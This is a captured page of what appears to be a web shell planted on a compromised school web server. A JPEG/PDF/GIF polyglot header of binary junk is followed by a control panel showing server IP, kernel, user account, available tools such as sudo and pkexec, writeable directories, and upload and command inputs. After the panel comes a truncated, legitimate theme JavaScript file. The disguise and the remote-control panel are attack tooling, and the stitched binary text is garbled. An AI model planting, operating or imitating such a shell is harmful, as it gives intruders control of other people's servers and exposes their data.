JFIF     "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777"H !1AQ"2aqB#R3b$Cr4Ss%Tt&c$!1AQ"a#2B ? }XuAo)8^ IƟ`vUp9jY0Ǧ w)E허2jU`SEKw5]kSno!]:?jc\غV7/9N+{t#8zd/޲3F/=ź3GNquV"/4:{z%ۣI'D@ %88^f}VV)S_2ed^Mx"͟?UC62Q%чmO͓ cq0rŖJ\Õ_Sݶ'|G.q޾D U]nP%EF>˲E"d&'f2s6H]4w IS˶4VbaQ+9]XtNx:M0JNxϙ⟟"{nr;|{%vo\z-wc,*|k}-m55o4W9ؓw߱Yzk .=/oϡȴ^9ҧʹamtQԬZ]4?egjrQ}+)MleE]MPEn!`IK2RUEwVIoͷcp;lśe7΄uN ;rПV8|e\׹9Y-V_G.)XԢOv<;_"ڜ]ߙEr݊'K{KuBJ}KI}24|"v)/ʻo5)6-Tjd7.C]Q&lU,Yk1P4~UKZs|$kX6+屷CUq+N(jlGrpG&UB3#k3\9qfg7O8Kim(AJOO~C#e`i0wĦij$cWh<dtQߺ"NOtG+ZǪ]b5%]v5$)u|qZ柡s-rۖu$MKڎCmN_V'/1u,21pvlc>қeNnֺ|bkl=lǷNOʣlz*]»vȎ[)j[fs[]:s#m6Qt6*Q+`};ßj[F_jcv`r#w}|k<ڞ/r53N8>Kh q_-_??@enſEܥ\D\YAEo+ ޟd}IcY7+t{=ɩ>}i\\JfxzVdSzᔢ]Q^CJի\iceitMM5hڦg')^ et#ۯ"ÿfF->4iؤ2ݷ6#p6^-R̫gETj^I.kӽUp~D9[:/>h> \gJ|ۿؘ>ml9jMK =+*2i=0RiͶۗV{"u]IH`9J_˹KƼK$X-|=ve/ bjxw.9i%NqVJcFYKcTtO,F;%67vYb8֝qq0tUt=DvawsS~~Edzr^F-v{c++ݔ\|9Iy #nOavOY=3690Tcrilwa\˓m$?箵S6U c(.~R7suMhqcMOnKoc*ȣȩEd'J ܜk*_q}%M/7c.|;trddbsdcJev85̤iW Ę 8C# .딖e$sk80^\J众2)Nm~|Idj_ O+6ǻ#(MIz4Qo:օY,:q]̌"lK}{F]ζ)h>ʶ ^ue78_G#rqv$wkk[Q c+վ+ĸZΝFB]VzoiJRke&Kgom_7Wef_7,osJɽE%lzBt>mRs)v8'P0ֲtrOg4p_2`GlhYڦDF/ӚKmtm'P2kqU765fJY:y؊.ox%8V_ִ̌ܞjpqwЮQ;iUcNoOoٸcY w*4soӵkqf$?-jy~0{>?DaL8XL/ɞo+'8 {ʸxգj#Dy)wk̘e۩+%}~;ڼ5xek|y-%ڱ-ʜe:EEScÚ5z|r'&I&яF*F7|[nRF =(4ۖ@. n7@xx:N^8Bg%u/ny6&dR{?8U_Q6Z߯-oh.NR]} qi6~H(j7*uF&l&o8ts]/P89:jW*$w׹Ӌ FxpsCJi.7N q4WU_}7*M#qWiصnk'4ݍl*t^ c<'d:~͗enFQRz9v~ddoTZ̚k7X(wUswO̙fոҁՕ[$IAI>WW~ĪEѢNoeutYߑ-Eixιpxq{FnyfRrjqU᫤]>wPU8)Y-7Wbq㛋w:7ܣ].j%K:y4] %9$I%pT(󨪙VqiYٓ4y~5S/XTDZM2lȪ; S~Kx:(Mn0';-{*qV&|W3S+\֔a{R{s=lYmN9Fn&o'}Vi( ?*qV5ѼCNsM饏zߴ$^O69@ ,$y|jE;gW/u|M?3+ZՕN86յw%|QO㏏S\E#ddsgl+Scl3~~CԕQľ?5_ z߿t11OĶ0>oB9E/SOSk+b&Yn>$툧eg) "!܉(1 uBoJ)/t/,:=7M+1ܺ#CmS^Nz 6[u&]+|Dfj:uZ5-Z^TjMtm>cȳ NdT_,M#Ex;pt۴ͮ#!N iKl!zPծ~$1SiO} HI&g Bf)b%Ko̧kumEnص;V?j>nltOMVۆl>.WueYaw2+qK,?uHiqqSM}~gu3xbcWSy/Xc{%sZ]uaUM;7:cb5G97'7þյW,;$ܛyVjl޻y7S;o6gf.Tг[7/i1Z^rE cUF'P1-?%u&q{fw~27ޡ ^w$?SwP[=R3Y73 4x(Kk&rLȫMKn:RjcI?3Al`vض[POĖSYujj6v+-[xҵ=~zNN>\ɲQ/uufo*e6l;31붏.>w6=7#7dFDc%ƶTbd;2/=?Asr! ~ZSS~I"9y]Hn,ĊJ7S}cK"amCg3yP=RQɤW}t;-{F+v+RɔڎB?º{SV묖kۏmK~%.Q;OfEf_Y/F-V-MdD)m.ZՍ8Y*h[g/6ydmCc[rdfʾ䖗gd$^֍^ʅѻL|<[݉\߯RiJUo';œN?B smS ܹkس,mRE^ѣlJ&.ċ԰YO:޼f\Z'HCѯU[ʩ1ff4S-٥YxTIGLiыr }L)edׂ*l|ٚuoxӿnWkTbbVm zT_'"x5Vިxo1ج^Fq6Sd3ws'/ڞ6m?}1OsRGݝ+,~ڬ%^p1ef5c25vq~﹉ă[r-eq] 8+/ESj}?mUE.xYK3"oƔ^Y9I]I ޑ" &*4.Jâ}ټQbXKJ񽼀ncg`+riܭ_'Bֽp%bX'7cB}WPm|zHָLJhj~E>i~Z$297|_hyΕ&s}ZϷ *j]:v.HK<SP8`Pƣ)r ,}8Wk[ArHgn=о7:J]TTP>OOj J_KyB\Ԥrm嬷ȫr{ݙ5R(FRЪ6q}KLmR'eޖz6[YތesYYL5Tr7s\^rؙV͸컬j5d?yk'b S }kra^ߚRH)[sg.fLM\u= vJQ]rVkZuoN}#G?yjO%|i2fKoӰღC P_Ϳ6Zr{e/m$i}9 G2')YG9KY>|1ӫ +v+i;h\Q@˿Lӭn˖ 7ck>Vr.D0)hC<˄4"0[eԬݭe+l2s3ss oX]1r]+VK vI;mZ')R6e5=/i@]H^Z۬՝EW.jƆf{8mXMV~_̝z^VR}T63}}k3+k3:j1Phlpi{欍BȽ}6w73GtUZv>4eUj$ xz$$D/߇ߟI"uk̜aƪ*ke/F:dһ_PE1ݡkp(5ʏ-ɮ{Yllԧg!ܝ g]i-umεŸxOê^=PR ##XeMy%2L~󜺶Hm ݙ2t_ƶz7'\Z4T<"AM-&xaC]a5.huQ۫$cMμ|h;.J.o߸sE-zU{d];|YLSMvSEneNKr1B[]NeonNߪ$4̘FPrkxޱ=0lr7Q%=$KQ;0r*XKdGۃ*]w-npᬶ\tt4>Dc[Ouo3/)-WҴ xs71eԤm*ٖ웗H''.Cnmy]݊Kra[9)Y#2U6d7tf.[R.GdE>#O_.+-K`{KonR_ÕM/)?:F,Xo1ƽRmz8C]lD %(x+d2Ah+\CCLJ!D65x\ȼv)\Nrp*[YُfL*PyVΚuWA K4hyYdwihNIy#ub?4NDϐ'4 :nFe(o%ve@@xl-k%QƭRP&kεMŪ-Ys2u ]T!}8*TQnZ}v =~mԧyDM&8K>2|Bnugܷ.wvCs̼5F^ubES7ݢM&4Ź-~mKx1((sr!M5uy\q)oy|a)ˣ,A?w"T휳2\F}PR-<2%`~4Z5\W"(USkGpT(~Qj>ɰ쏳ǓSKKx's]nEf'.iݙL>Moƹk7ݭ[.г6lk<;?)#E]xFU7'>vF%R;t:Җs}NSBWX=Y8ث}~G)S^^ƽwR[)/Fm-ڞTK~˓Z]U;RQ=M/"NԝP[-Y9t_8V+}P?Ue{M/O&WWKvc#r'KM'p[±vtpRC/W|7K2Rfm;ljm%Z]^T[6}6iTC }L[uxg7(Z}. SRI)jҞzȶ쳢oYRw$ŷ"J\ǭw{u'R taF{;3hHB\RP(*ZQ]y;;k٥nWbGKv-V?NDҞkd9@z LJ}Kc9C*?V-*[*۸-0.|󲝳ߗZK#%_OFGF$kC$[NNJ7Yn[k~Xzc+Sʲuhsw^^4+nElbƮKD,}YLV=i=|p|_=b5mȵ(~,em#Xƥ.sVoEaWXc.lY uG\m';'*\ӆ}|˯UfQBvo}/"zw + qvMrQ[[AdU2ٽCGgjؖS~Ev%9">$_2Sߚ%ѽ7jX(t#21r{̬F]b()?r[Rı)W[O/6]XL9 vuLh-Ȃ9"'7f!Փ䮿Bf}[lag֧]?Pc#D9EmfK7o*})+n!]qIo^FrNVNo!Eƃd#OP?%ۋ(mPu93ۣ{}2&$%cZ߯LҚY);U afԶd,*'6_?B:R~}^̬~mJ+vC}Ѩe"MY+mi :s쥸;iJeYvBddeK|#5/mzR]F2 JHUU )/S{Ic$=: W)>} @0#URsR=w"L{+ɞ)d|*qq2>[nƨDۋ-G[6½J|{Ѿ4MwyG-Σ Ze{ug>2|'zΤ2%xՑ*<Q̥T')uLkjn(zF-JOR}wn~FV5zq2m'^VS=7Y^RdfeO)>EpX붚w*r*w˿^kڴ{J;K۔sRŶU]p\zn@dx6[+yeH[_m_/I&mv|M5&&-G"v۴^{vg8Y(K_~h0e AxfrzڬkhS/Vy1ϯdW3'͹}{'V-:MW(V/ͷ*E7s\EmEW}bUr'k,P{9?B֫ #[uNrB,wo^{fdF(5tRf.2J-/:~ t0M"d_/c^32*q]yLl^2[ݥZc*vtm213r'tSuM-Խ#o/HF+2VEpmǦޟS?Rs+t:u G8n,Ԛf,hY8SX*rKf>+cpruɬ=DMrXgϸ:~ɲ ~]'5'kElw\=ڞAG&')G9R\_̝1K;nPg&T(ի[^Jҟ"qoӸ.W}3mF>'$<\U6-~?x?B~{^xkpv-vlߣe빹j\(ښsuu6lH(qoaYt?x8}Ie '@b%TݲygV.+O9/W4MsCMuFjYzG.{ds.k(>G~K?ni-=R r}r ?s̥%l5Ϛ9IN6~۩RĢWNʾE[|nb.HY—קWkr1ҺշMNDp)^¸R:w;u1 12]T/Uiʹd%2OC2K*r5S]g凫5 UQ.ȫ– /i91njFkQxuJ1rn%XDžy?s˗վuMGƋ/m^J*RsF))uF,'l{=|nFm9:N\%u#tnXE->e2Y0PũjUȨEŭ|'eʹ[o{Ցms%CGg/}t|snzrvm\g}cÊ94Pvg'L}ّg궮ԱߢO^f.W-sT]M˔ېе<^Н'KuNn_Vl8*Kж^ xsuW51-ᅱFzƉT-kY/9wzDޯ/XlW)gypǚjDɨ~{ݤHCim.[>rqE_Uرx/>|L64%aj;fxӱF(K֓J9՞ -K> I_5Enn´&=Oc%o̟IJZF$۲5I9Wݚ n.WTuѲӏ[4U/9.2zX5\j3ĎEsMq4%9.d[7јc9eNa+sjE';%s#ɤ`ףS=WI쫢.Mv:j/[3:rTF_zt:.z%udW%]xܮVz$Vŗ49[^y.խN~M&mx+wGR~_4KC[ʻ:v>03߶v9x-Mȧ$c:lrCWjeg%ֹ_Nh՝Qɏj^ϛr^.>WhlE5yֵ6\W^确]*гc&^NI[oCDn.ߑ!,m&M_/'Mn$s\r^8|uSZZ1|LV<(zq׮xmٚZƏ%.Ԁs^2𱸒O#&,s[mײ9kޖCoSq&俙qxP.N] 2UǎsM2iN.f r[mcQZmFُE{#[TbҔ*sfaSrn^8N<\_'MarJ6 EQғ|F[S'[~q~kmn[_x?B f5Q١X=g(~[Cx}GO ĺo'e)~dq(Ot`sN=~heu ::m'Cjj>~5V柙cyQD%uqEc{[l^U O]b~eŦۑ'W3&' 2V.^D%G S6\wYNO$. O+^ŵG~haEs^=1*bICzFF4O#,Wu3허ekB\I'tWMߩOG3iFz{rgeM9g r] i3gk&u1r/1kVgR-ɿuF .^;3;?3큦bN̂r4ovMkڞ}[:,IVG<};*-2",>K%bK2Ƨ[w!)ˤ;d?4%Ul2ږec4#ōIw^R_/TFX+*FM[F|a'ߚ2SIMeVGn ~&Y Ym(?ԛ],=|сG4yjk"Q^~ԗ^c,qqrg^-:Uc[E8>>k|nS..LBIc>3i|ZEZXAqm nuOm<; X~mrK=~ ƱrSN<U!F΋WS/|t?K)zd} ,C"ovx?bբs3mX3桭X֖˦kFddhg}$ggSo5jL*NdJis$ EQ\v=0HxzyW~FT_Ƶccg,&=_V(%kq+_÷O'[_[Uڽv F $Ξ9n5EN/4Yy/%*} .jΔ`V_6\VͲohzfOgޯzpj}y}v:34WH;+x7ӻu<ݦ"mJ/=>eoD֣c4kXW-[}٬6;t[Na_• _5i5˗sٴ]+e;Joj㼶ۙyLumo5&F)F\ {(sm_M>gzcr)KU̠Ħ=VDd'h;-aŤ9KٰqQܫަazMp4bk9 UX.ͮ]KeS5Uq[¹X0ɦ6]roFjʧ2׏6/C6eQE5KӰmsFnIz&`z팡-ٯ.ixyك?c2//z6M4W[]_"?Õ[? Vfvӳq]I5(d|MʝzcC*mN>B2gD+><e:Gh %UkW%zJ8k_ˠ=KFRfw{sŖ^q\/{v[Ω}gLjT[t_ޕg6G~rkkMcSRKբ54?SAûO1o%[>5/R~CioNdNʛćh>f6H8c/<1xd[ŦCEk.9"ej?w&O6^ژR[vrQ.z㎩f6:V8}hi2z~ s-w]+|I9s_C~>-S&9ZFVLf7-d'pՠplJ#mm؎s(?Ʋ?/A%_sXuGNnR}_dq>1ʍ|У3]NXYZʷ/&ܛ彖LS? 6]"_t5qP5Kq]^m91jW暹U6-5WU澦M0˵f2ӪǮ.P~? _nEJTcTei)ٳrۣ%x %gs}7l9'tb~dXst# r?}Weaq>=+to)7،E*vn\e_,\NFxcivz]tM˼?Oԝ2Zrλs-ĺEtonIIfm/9^[^EBUjOnr6vI& l]%0")2䒶-+R*zyX<> -X9GUo^xYQ8ιvixٔa\t)hv}ьոVU~tK,=_wLLa?TYIo]$`N6cbi?#7;MRt<.~Q-mob\\g5췍 ڌ_?8nfJN/Y͢n3?_sϩ{HiְPo'yS??_jߡWi5q? MWȲ)8a]lLˏ--b[TXlΫRy;o5뜾$HW.mm?շG[Ƀ seo5Q}Le%*،«~uU{R$t\^%!weX:G('6WupTS&~8=jo?2_PϖE[nf6Tٯ;GLW)NM[o*\j%.gb|䭹noOX:1R)UTj74˓]D_bʝkzNI.9|^G`KeQ{mOjX/sR7evdgi7qm}ތW&4=~|YY)?7Oj}xXkF×4c.l?i|b[5Ή5j-[Y\z<茲Z$Ff&o;gErǩݦ̪/q[&[/9uuzi;PS^_/?]=ΕqK~ӛ5'NM[m_Ϲc'[oӯE#g߂vvGNRo϶o5Ǩ[ɉtov2~i<7iSȜN(G5+/ٛMTܣukj鷣/$1˒!Mxr\ߤs1ZuMQȌ^]c$CXrj#N/˦Ķ9]Nzê5zi;W,v!ŧD6zğ7uR5^MW}>igl2U2nXo{}_w]&vte\Z3 MEEe/ 2s㗼S_bIղTI}|[Ye/c]*̪9u/DmyNxSDgi `Z?.RFj۪'~.[KVb޺o濡to?E#[.^y=q4F8ڎ/GX\.YW!Z.ѕtt:?gYYyU%Uw~ri>ȦKhg,5/=>V?TrN4aWO,oӕ7-SRi*"dܽpuaVQÞd-#J2Nr:#``ѧWR-F?I-T -cOT2pr?þזgE\Ij~L9%EMoџUؙt8_eYΧWjU}e9y9z/#TT-2dLt3H=ڼcKb'"uIٓ'[[߱F~\2]r%C]^VCLjm[cJNryf}ջ.[DEoRՒb'>fVy_c6[K4Na5>{ɳaw/Uj.Զ_K~?IeJ7OQx3IgFc*جɊǽ-o3Ӭp / ]7V*ENܜ[r/tOJΉw*ʨ*JFN^.WZeLgUwKi/M9y8dkOᛊHxGĶM*&#h/U|6D(uFyE5hYxiSEVm^D|,ۿCj;<*ouOkYpΔ2{x-L] !k2ا#IM'a7:M}M1Y儭Mnk[/;4Uwkkɫ%aɔoXVV$m;2Z4i9:>\Yů= ?[{t6,~!c`Un+dW.gKyIB]l+3kض(\MZ\}>k\C~閹l[ů]VNtƸr몮X+U>v'nv{y7s[г̭9Ctvt% GqT8=wa(6\Rd柮YWv^Fd^\+緉,+=-^S"k:NVu o[_TIѝ椯bF/G㿏dΙ?T}K-T)W>s?3M)V*,;P\,}B u{rDexڥVFfw}47׋w}]Դ 1dmk1V%/'T:Fǒ_TEe[l/l/ٯc{Ƀ[~`zj⾥r}Vܪ{M8Qv]$mU]8J2MngcxY?鑞.9HjxSy.fS(|]MgcK2$(jRQ3XO|<f:Jq4& fw|$N )A8ת99 mFNM*Dϒ NoIa9i9y?:D⻧߇\7ɧ]mu"-˥5/w̨_ 7DK['[2"(%xzT\*GT"+<,yX.lEJrfo?.4N;l>jmZߣ5FdB3\r,t,./S]Q{tm5lӕT~A [fv7Iہc: ΪN7I]2(|o$NLW"#~Dͭ=v-Mv{-lqn{I3xn'6.=DƟܖަ~deQV;k2Ei\[bӴ1_]OhZl朠&t3xkei+c\'ZԪ'hK梿X@cTԫ#emIz6e^i?8 NBc̆f+MׇdC]YSd%lώ8-c7eι/}_con/no\핍~[WNReXMo+اn ?#Ͷ-AUFN1V4!y,{1a$S﹑;Ǚr"__[o) xk}7EI/riwؙ7mR}`|yrEVdo/B# uٳiNQKQkᑑ^d@/=ˑɒ768fsuor9=7ףܹճpMr-$1uySOZN?đrqզ9F q=.!T?ػ bf{¯q=$^:!ES߿ Fu\OS,8e^UוS^hF4BQƺȪw-kF39@X06 Fv=Q^|ƞ5}2tnmG_|Λ(|%](-5>KȁN$=6lq).12 V6m$ׇlOcҫܸ K{;ľ>+Q?Rx-Keu uMy$i B}G*h$Q -W[-&a"[i\}~Ek$<~c{MffS eS.#\^lMiytު]9S{u4 {DFޅSź}R ]R$y;r/P̙3niXMt;&!rxw\ZFmQ"w\L{^۔K&/gr:m=2%5bwE"^e[\$ɟPi!U_rdS2d?=[!(I.rC QZEim%}|YmzZ_ά<ۡLQM|` ybPȏ}?]Eu[`kҫgFb~F}Q8NP>5lӳ^-K%Q}$sx7SvnfTƸ|Kzd'_ⰽח$4L Y?qy32t j2e ȜrJ{mبhۍUU'p#8y'ѝ=i+Tĩo7WYyČkL5؝M=%"Nt}eXW)N.~sv5pɮ sSQ[+-/}kVk'FEɩ9SE&T=&\緵 --tf.9Ѳ4_##_ɱTFV؞~YTddS&s=䟚Fb1._5}~gM'p#,U hs--XG wtԹTi7M:GYK5'^W?C>_Gq/S&d| k_gO ӊiJeHU G_ Êg#),}-:5>V1emq}t}q?meKU:BqJeiPɗ#\$sI} Z生ƫoo=V=pVcUg"%wEm叡vIdhrȔ~F]p58_.,O|'Ɇ^L!c6OWӷ{x9?Fp?ceOuT+Uɵݹ&gx9i퓃sxGIm}_3Īr#:ԣ?4בc[jö#B7KʌWNo)=+c }YvP{lv^r+5Vxx_:~=̌Q}CTy+Wh鸚f$101뢊F[#--Y\i@l)W8/E>8nlj/ktOľ,q*[sE[]:?ZeQvŔɺ|j(Wx,LW=:S?κq%81c)jJvODLiW,{96vr-2}-EH,}%3k#l5gl~x__W Sڎ 8YJQvA=QIWju6-X9$kWЩCI4UWd'&O/Cf=Pi/#+>n$KYst܅y4ʷD^~%~myj,s_4Q}΍Cή;SW:h=Ff{.B/inȇo=-T͸OY2}hlK}.m7-z?,f-/^b\QWs/_͔/3In[6M;l ygؼ!WUË_)D9YL4_>f}ϵ3hV5Oѣ(l8?L4蹥[-Э=7V{&ʢPʼ*3cMz>u4@[oM gKS[jy"Lھzɵfx)GE`ֿ.=kJ>/iˢ[j-qץQC B@o V(ʯG?Bܻ\I>=K-].(vOE.5׮=/Pf^&$caY9{3މ%YOxZ~6Z;;ԗ.NJzş/YϖĜ%ѿO^tY$ν4|e}2ɶU9A؜h˺LrIm%J.|I]kG|DzU k4'(T\9߱^!z -:mW^ <= <^2*;Seq(6ªsHf5ʸO{Ilr~G uJY^k5X_y;5'59O@ƣ̶>pnCOvNwX4oUUf]Џe%MV9Xm9]x'Q=82z)c/~1\~LSow>ﺍƻUql~Sqo羘sk}VjG71kYؽ]b4qnMӡ; w@̇IL㿗[43)]=v*)EH'a񖳋ҎTkxuXGK& ZIR(M8?:ixJp-dmckpu*%N^-7E3='ceE&';_J'Mw𶥏Y9+d9+>!e_Sn|VX -TZu]Ģ/6\ckr /ޗ/z[y.N:*k$ }Yǭ}GUm^-%dm;K_#ctBsg2:8rz-VE|T w.}w9NEPGnoCe8/&3qT}MJ̙Mۗ~哳,-WI_Bsh+~͛vN{ZdYKݲkr%+lo*re-ه?:vYqFfCsqMXRķ{yqgrx.oǓ\xdڗ_ZC9WomX|KmV_%UJܷr$drȳL~MoKyYLic Jq<1$UuٯTד374s<ĕ96춉r9 pGc9=p^:)ZJb&VӝXٽ 0/X& ۳*_ԙƏ.5J 6<$$6B0d_d?hqd>XCe- wO@pg:.>$.Ϣ~L޲|,{-ɪ2.u/Ds-[ُiVIWK5M#Fܭ3?x.)ۣ,wJ)Ȳڣ-#fbdq&Tͧ8Q,YqQ)/R­?\k˔[p_+ogzP[6r^o}_kT}JiJ;<ivEH8wI@MOPʊ\#+$%PDF-1.7 GIF89;
ANDA PELER
Server IP : 182.253.108.180  /  Your IP : 13.58.147.118
Web Server : Apache
System : Linux sma1wiradesa.sch.id 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : wijaya ( 1017)
PHP Version : 7.3.33-10+ubuntu18.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/usermin/authentic-theme/extensions/csf/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /usr/share/usermin/authentic-theme/extensions/csf/csf.min.js
/*!
 * Authentic Theme (https://github.com/authentic-theme/authentic-theme)
 * Copyright Ilia Rostovtsev <ilia@virtualmin.com>
 * Licensed under MIT (https://github.com/authentic-theme/authentic-theme/blob/master/LICENSE)
 */
var b=window,f=b,html=$("html"),r=$('link[href*="configserver"]'),empty=$("style:not([data-persist])"),v___theme_night_mode_enabled=$('html[data-bgs="nightRider"]').length&&$('link[href*="nightrider"]').length?1:0;f.v___initial_load=0;empty.remove();r.remove();function __c_____undel(t){CSFpause=1;b.CSFcreateRequestObject=function(){return false};b.CSFsendRequest=function(){return false};b.CSFhandleResponse=function(){return false};b.CSFgrep=function(){return false};b.CSFtimer=function(){return false};b.CSFpausetimer=function(){return false};b.CSFrefreshtimer=function(){return false};b.windowSize=function(){return false};var e="html, body",a=$(e),n="keydown.csf mousedown.csf click.csf click.csf2 click.csf3 click.csf4 click.csf5 click.csf6 click.csf7 click.csf8 ";a.off(n);$(e+" *").undelegate(n).unbind(n).off(n);if(!Test.strContains(t,"/csf/")&&(v___module==="csf"&&t!=="index.cgi")){$(".csf-container").removeClass("csf-container")}}function csf_init(){function t(t){return false}t.prototype.navigate=function(t){return false};if(session.server.data("post")!="logtail"){CSFpause=1}if(session.server.data("post")==="logtail"){$('button[onclick="CSFrefreshtimer()"], button[onclick="CSFpausetimer()"]').addClass("heighter-28");setTimeout(function(){$('button[onclick="CSFrefreshtimer()"]').click()},1)}if(typeof CSFhandleResponse==="function"){core.fnExtend("CSFhandleResponse",function(){if(CSFajaxHTTP.readyState==4&&CSFajaxHTTP.status==200){var t=CSFajaxHTTP.responseText;if(t){e(false,false)}}})}function e(t,e){if(i.find(".csf-container").find('textarea[name="formdata"]').length||!$("html[data-post]").attr("data-post")){return}if(i.find(".csf-container").find('pre:not(:contains("<---"))').length){var a="log";t&&i.find(".csf-container").find("pre").css({position:"initial",left:"initial",opacity:"0"});T();i.find(".csf-container").find("pre").removeClass("text-center");i.find(".csf-container").find("pre").each(function(n,i){var s=$(this),r=Convert.htmlStrip(s.html());var o=$.trim($("#CSFgrep:first").val());if(o&&o.length){var l=0;try{new RegExp(o,"i")}catch(t){l=1}if(!l){CodeMirror.defineMode("highlightSearch",function(t,e){var a={token:function(t,e){var a=t.string.match(new RegExp(o,"i")),n=a&&a[1];if(n){o="";$.each(a,function(t,e){if(Test.numeric(t)&&t>0){if(o.length){o+="|"+e}else{o=e}}})}o=new RegExp(o,"i");if(t.match(o)){return"highlightSearch"}while(t.next()!=null&&!t.match(o,false)){}return null}};return CodeMirror.overlayMode(CodeMirror.getMode(t,e.backdrop),a)})}}s.empty();window[a+"_"+n]=window.CodeMirror(this,{value:r,lineNumbers:e,mode:o?"highlightSearch":null,theme:$.support.spa&&!f.v___theme_night_mode?f.settings_cm_editor_palette:"monokai",readOnly:true,viewportMargin:Infinity});var d=content_page_calc_height("editor");d=d-d*.05;t&&window[a+"_"+n].setSize(null,d)}).promise().done(function(){if(t){i.find(".csf-container").find("pre").css({position:"initial",left:"initial"});i.find(".csf-container").find("pre").animate({opacity:1},175)}if(!t){var e=$("pre[style]").length;$.each($("pre[style]"),function(t,n){var i=content_page_calc_height("editor");i=i-i*.05;var s=i/e,r=$(this).find(".CodeMirror-code").find("pre").length*17;if(r>s){window[a+"_"+t].setSize(null,s)}else{window[a+"_"+t].setSize(null,r-10)}$(n).height($(n).find(".CodeMirror").first().height()+4)})}if(session.server.data("post")=="logtail"||session.server.data("post")=="loggrep"){$(".CodeMirror-scroll").scrollTop($(".CodeMirror-code").height())}})}else{i.find(".csf-container").find("pre").css({position:"initial",left:"initial"});f.settings_cm_editor_palette==="monokai"&&i.find(".csf-container").find("pre").addClass("no_data");var n=i.find(".csf-container").find("pre"),s='<i class="label text-center label-transparent-15">';n.addClass("text-center");if($is_lang){n.html(s+theme_language("global_empty").toUpperCase()+"</i>")}else{n.replaceText(/<---- /gi,"").replaceText(/ ---->/gi,"").wrapInner(s)}}}function a(){if($('html[data-post="viewlogs"]').length){$.each($(".table.table-striped.table-condensed tbody tr"),function(){var t=$(this);targ=t.find('td[style*="nowrap"] button[type="button"]').attr("onclick");__id=targ?parseInt(targ.match(/\d+/)[0]):-1;$.grep($__submenus__,function(e){if($(e).attr("id")=="s"+__id){t.after($(e))}})})}}$is_lang=1;var n={order:[],aaSorting:[],bDestroy:true,bPaginate:false,bInfo:false,destroy:true,dom:"<'row'<'col-sm-6'l><'col-sm-6'fB>><'row'<'col-sm-12'tr>><'row'<'col-sm-5'i><'col-sm-7'p>>",buttons:[{extend:"csvHtml5",charset:"utf-8",exportOptions:{columns:":visible",format:{body:function(t,e,a,n){t=Convert.htmlRemoveHiddenElements(t);t=Convert.htmlRemoveByClassName(t,"btn");return Convert.htmlStrip(t)}}}}],oLanguage:{sEmptyTable:f.theme_language("datatable_semptytable"),sInfo:f.theme_language("datatable_sinfo"),sInfoEmpty:f.theme_language("datatable_sinfoempty"),sLengthMenu:f.theme_language("datatable_slengthmenu"),sLoadingRecords:f.theme_language("datatable_sloadingrecords"),sProcessing:f.theme_language("datatable_sprocessing"),sSearch:" ",sZeroRecords:f.theme_language("datatable_szerorecords")},drawCallback:function(t){a()},initComplete:function(t){var e=$(t.nTableWrapper),a="dt-table-hscroll";if(t.nTable&&$(t.nTable).parent().is("."+a+"")){return}if(e.length){var n="opacity-0",i="pointer-events-none",s=t.nTable.querySelector(".ui_checked_columns:first-child .ui_checked_checkbox, .ui_checked_columns:first-child td > .awcheckbox");if(s){$(s).parents("table").find("thead th:first-child").addClass(""+n+" "+i+"")}var r=t.nTable.tHead.querySelectorAll("th");if(r.length){r.forEach(function(t){if(!t.textContent){t.classList.add(n,i)}t.innerHTML="<span>"+t.textContent+"</span>"})}$(t.nTable).wrapAll('<div class="'+a+'"></div>')}}};r=$('link[href*="configserver"], style:not([data-persist]), .csf a#toplink, .csf a#botlink, .csf div#loader, .csf a#webmintr2');r.remove();if($.support.spa){if(f.$("#open_webmin").length>0&&f.$(".switch-toggle input:checked").attr("id")!="open_webmin"&&f.$("body").data("dashboard")=="1"){plugins.navigation.switch.set("webmin")}f.$('a[href="csf/"]').parent("li").addClass("sub_active").append('<span class="current"></span>').parent("ul.sub").show().prev("li").addClass("active")}var i=$("html"),s=$("body"),o=$('body .container-fluid:not([data-dcontainer="1"])'),l=$("html").attr("data-post"),d=$('.well.well-sm:contains("csf:")').text().match(/((?:(\d+)\.)?(?:(\d+)\.)?(\*|\d+))$/);d=d&&d[0]?d[0]:"";o.removeClass().addClass("container-fluid-original");o.wrapInner('<div class="panel panel-default panel-injected-custom">');s.find(".panel-injected-custom").unwrap();i.find(".container-fluid").addClass("csf-container");i.find(".csf-container").find(".panel-default").wrapInner('<div class="panel-body">');i.find(".csf-container").find(".panel-default:first").css("border-top-width","4px").prepend('<div class="panel-heading" style="text-align:center"><button class="fa fa-fw fa-inverse fa-2x fa-star-o text-lighter favorites xcustom-favorites'+($.support.spa?"":" hidden")+'"></button>&nbsp;<font size="+2">'+theme_language("csf")+'</font><span style="font-size:14px;display:block">'+(d?theme_language("body_firewall")+" "+d:"")+"</span></div>");i.find(".csf-container").find(".panel-heading + .panel-body > .panel:first").remove();plugins.favorites.detect();i.find(".csf-container").find(".nav.nav-tabs").addClass("hidden");i.find(".csf-container").find('a[data-toggle="tab"][href="#other"]').parent("li").remove();i.find(".csf-container").find(".nav.nav-tabs:hidden + .tab-content").attr("style","margin-top: -10px !important");if(i.find(".csf-container").find('button[value="upgrade"]').length===0){$("#upgradetable").remove()}i.find(".csf-container").find('a[href$="/csf/changelog.txt"]').addClass("btn btn-xxs btn-default _btn-changelog").html('<i class="fa fa-info-circle"></i>Changelog');i.find("body table.table.table-bordered.table-striped").each(function(){$(this).addClass("table-condensed").removeClass("table-bordered").removeAttr("style")});i.find(".csf-container").find("a#MobileView").parent(".panel-body").parent(".panel-body").parent(".panel").remove();var c=0;if(i.find(".csf-container").find(".mobilecontainer").length){c=1}i.find(".csf-container").find(".mobilecontainer").remove();typeof settings_allowed_hostname=="undefined"?settings_allowed_hostname=true:false;var p=c?i.find(".csf-container").find('.panel-heading:contains("Development 